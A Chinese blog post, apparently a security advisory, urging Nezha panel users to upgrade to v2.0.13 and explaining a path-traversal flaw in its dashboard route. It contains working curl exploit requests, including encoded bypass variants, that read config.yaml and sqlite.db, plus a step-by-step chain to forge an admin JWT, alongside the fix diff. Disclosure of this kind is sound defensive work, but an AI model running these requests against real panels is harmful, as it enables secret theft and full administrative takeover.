mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
1967 字
5 分钟
紧急! 哪吒面板严重漏洞,尽快更新最新版本
2026-06-17

CVE-2026-53519 —— 一次 dashboard.. 如何掏空你的面板#

紧急提醒:如果你还在使用 v2.0.13 之前 的哪吒面板,请 立即升级!本文详细拆解漏洞原理,帮助你理解威胁严重性,但 行动比理解更重要


群友截图

官方公告#

根据 GitHub 官方安全公告(GHSA-5c25-7vpj-9mqh)的 Summary 部分:

fallbackToFrontend in the dashboard’s NoRoute handler treats any URL whose raw string starts with /dashboard as an admin‑frontend asset request. The check uses strings.HasPrefix, not a path‑segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required.

翻译:仪表盘的 NoRoute 处理程序中的 fallbackToFrontend 会将任何原始字符串/dashboard 开头的 URL 视为管理前端资源请求。此检查使用 strings.HasPrefix,而不是路径段匹配,因此输入 /dashboard../data/config.yaml 会被接受;strings.TrimPrefix 会保留 ../data/config.yaml;而 path.Join("admin-dist", "../data/config.yaml") 会规范化为 data/config.yaml —— os.Stat 可以找到该文件,并且 http.ServeFile 会返回该文件。无需身份验证

致命的后续:

In default deployments, data/config.yaml contains the HS256 jwt_secret_key used to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.

翻译:在默认部署中,data/config.yaml 包含了用于签署每个仪表盘会话 Cookie 的 HS256 jwt_secret_key。未经授权的攻击者读取该密钥,伪造管理员 JWT,并以任何用户身份登录——只需一个 GET 请求即可完全控制仪表盘


原因#

漏洞代码位于 cmd/dashboard/controller/controller.go(commit 636f4a9):

// cmd/dashboard/controller/controller.go @ 636f4a9
fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
return
}
}

fallbackToFrontend 被注册为 catch‑all 路由(r.NoRoute):

// cmd/dashboard/controller/controller.go:157
r.NoRoute(fallbackToFrontend(frontendDist))

所有未被其他路由匹配的 URL(包括未认证的请求)都会落入这个处理函数

checkLocalFileOrFs 内部直接调用了 os.Stathttp.ServeFile

// cmd/dashboard/controller/controller.go @ 636f4a9
func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
if _, err := os.Stat(path); err == nil {
http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
return true
}
// ...
}
}

关键问题strings.HasPrefix 检查的是原始 URL 字符串,而不是 URL 的路径段。因此,/dashboard../data/config.yaml/dashboard 开头,通过检查,而 TrimPrefix 后得到 ../data/config.yaml,再与 AdminTemplate(默认 admin-dist)拼接时,path.Join 将其规范化为 data/config.yaml,从而逃逸出 admin-dist 目录。


路径遍历证明#

路径对比:

请求 URLTrimPrefix 结果path.Join("admin-dist", ...) 结果是否可访问
/dashboard/login/loginadmin-dist/login正常访问(合法)
/dashboard/../data/config.yaml/../data/config.yamldata/config.yaml❌ 被 Go 标准库拦截(URL 含独立 .. 段)→ 400 Bad Request
/dashboard../data/config.yaml../data/config.yamldata/config.yaml** 成功返回 200,泄露配置**
/dashboard%2e%2e/data/config.yaml../data/config.yaml(解码后)data/config.yaml成功返回 200(编码绕过)
/dashboard..%2fdata/config.yaml../data/config.yaml(解码后)data/config.yaml成功返回 200(编码绕过)

关键洞察/dashboard/../data/config.yaml/dashboard../data/config.yaml 经过 path.Join 后指向完全相同的磁盘路径data/config.yaml),但前者被 http.ServeFile 拒绝,后者却被成功返回。区别在于:前者 URL 中包含独立的 .. 段,触发 Go 标准库的 URL 级别遍历保护;后者将 .. 隐藏在第一个路径段 dashboard.. 内部,绕过了保护。


为什么防御全部失效?#

  1. 前缀检查是子字符串测试,不是路径段测试 strings.HasPrefix 只看原始字符串是否以 /dashboard 开头,dashboarddashboard.. 都满足

  2. 路径穿越发生在 TrimPrefix 之后 第一道防线(前缀检查)被轻松绕过,所有操作都在已信任的前提下进行

  3. Go 标准库的 .. 防护检查的是原始 URL
    net/http.containsDotDot 仅当 URL 本身包含独立的 .. 段时才会触发。/dashboard../data/config.yaml 的第一个段是 dashboard..(整体),没有独立 ..,因此保护机制 完全不生效

  4. path.Join 静默规范化,不报告逃逸
    path.Join 执行 Clean 操作,将 ../data/config.yaml 变成 data/config.yaml,但没有任何错误或警告表明路径已经逃逸出 admin-dist。之后也没有进行“是否仍在模板根目录下”的锚定检查


复现#

环境#

  • 目标版本:github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef
  • 工作目录包含 admin-dist/data/config.yamldata/sqlite.db
  • 配置文件 data/config.yaml 内容(包含敏感密钥):
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro

预认证密钥泄露#

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'

响应

HTTP/1.1 200 OK
Content-Type: application/yaml
Content-Length: 167
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro

标准形式被 Go 拦截#

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'

返回 400 Bad Request,证明 Go 标准库对独立 .. 段有保护,但被我们的变形绕过

编码绕过同样有效#

URL 编码点(%2e%2e

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'

返回 200 并泄露完整 config.yaml。

URL 编码斜杠(%2f

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'

同样返回 200。

双重编码失败#

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'

返回 200,但内容是 admin-dist/index.html(前端页面),因为 %252e%252e 解码后为 %2e%2e,不是真正的 ..,所以 os.Stat 找不到文件,回退到 index.html。

编码前导斜杠被拦截#

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'

返回 400 Bad Request,因为解码后 URL 变成了 /dashboard/../data/config.yaml,触发了独立 .. 保护。

读取 SQLite 数据库#

同样的原语可以读取 data/sqlite.db

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'

返回 SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY(测试用假数据),证明数据库文件可被完整导出。

健康检查#

  • 正常访问 /dashboard/ 仍返回 admin-dist/index.html,绕过不影响合法功能。
  • 请求 /api/... 仍返回 JSON 格式的 404,绕过仅影响 /dashboard 回退分支。

攻击链#

根据官方 Impact 部分,攻击者可以按以下步骤完全接管面板:

第一步:读取配置文件,获取 JWT 密钥#

curl -s --path-as-is 'http://target:8008/dashboard../data/config.yaml' > config.yaml

从返回的 YAML 中提取 jwt_secret_key。这是 HS256 对称签名密钥,用于生成所有会话 Cookie

第二步:读取数据库,获取管理员用户 ID#

curl -s --path-as-is 'http://target:8008/dashboard../data/sqlite.db' > sqlite.db

用任意 SQLite 浏览器打开,查看 users 表,获取管理员用户的 id(通常为 1)以及其他可能用于 JWT 声明的字段

第三步:伪造管理员 JWT#

面板的 JWT 中间件(cmd/dashboard/controller/jwt.go:22,27)配置为:

  • 算法:HS256
  • 密钥:[]byte(singleton.Conf.JWTSecretKey)
  • Cookie 名称:nz-jwt
  • 身份键:model.CtxKeyAuthorizedUser

由于 HS256 是对称算法,拥有密钥即可签署任何有效的令牌。攻击者用获取的密钥生成一个 JWT,其中 user_id 声明设为管理员的 ID(例如 1)

第四步:以管理员身份操作#

将伪造的 JWT 作为 nz-jwt Cookie(或 Authorization: Bearer 头)附加到后续请求中。所有挂载在 adminHandler 链下的接口(CRUD 服务器、用户、定时任务、通知、OAuth2 设置等)都将接受该会话,攻击者获得 完全控制权

官方结论:该攻击链对默认配置的仪表盘是 完全确定性的:两次未经认证的 HTTP GET 请求 + 一个 JWT 签名操作,无需竞争条件、无需用户交互、无需特殊时序


影响范围#

利用该原语,攻击者可以读取仪表盘工作目录下任何可通过逃逸 admin-dist 一级目录访问的文件。默认部署中包括:

文件默认路径重要性
data/config.yaml-c 标志指定(默认 cmd/dashboard/main.go:104包含 jwt_secret_key(HS256 签名密钥)、agent_secret_key、OAuth2 客户端密钥、GitHub release token、GeoIP API 密钥以及任何自定义机密
data/sqlite.db-db 标志指定(默认 cmd/dashboard/main.go:105完整的面板状态:用户(含管理员)、bcrypt 密码哈希、服务器注册表、API 令牌、通知配置

该漏洞也影响了用户模板分支(lines 399–405),虽然当前 /dashboard 前缀混淆不会直接命中它,但任何未来代码更改都可能重新引入相同的原语


修复方案#

官方在 v2.0.13 中修复了该漏洞。核心思路是将前缀测试改为路径段感知,并在文件系统调用前检查清理后的路径是否逃逸出模板根目录。最小 diff 如下:

- if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
- stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
+ if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") {
+ stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/")
+ cleanPath := path.Clean("/" + stripPath)
+ if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") {
+ c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found")))
+ return
+ }
localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)

由于 line 382 已经存在 /dashboard/dashboard/ 的重定向,要求尾部斜杠是安全的,并且与 frontendPageUrlRegistry 中的正则表达式一致。

防御:将本地的 os.Stat + http.ServeFile 分支替换为基于嵌入 admin-dist 子目录的 http.FileServer(http.FS(subFS)),这样可以完全消除工作目录逃逸的风险。


请立即检查你的面板版本,如果低于 v2.0.13,请立刻升级! 升级后,建议更换 jwt_secret_key 并重置所有密码,同时检查系统是否存在异常。安全无小事,请将本文转发给所有使用哪吒面板的朋友。


参考链接:

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

紧急! 哪吒面板严重漏洞,尽快更新最新版本
http://blog.mcstarland.top/posts/nzmb/
作者
MEMZGBL
发布于
2026-06-17
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

封面
Sample Song
Sample Artist
封面
Sample Song
Sample Artist
0:00 / 0:00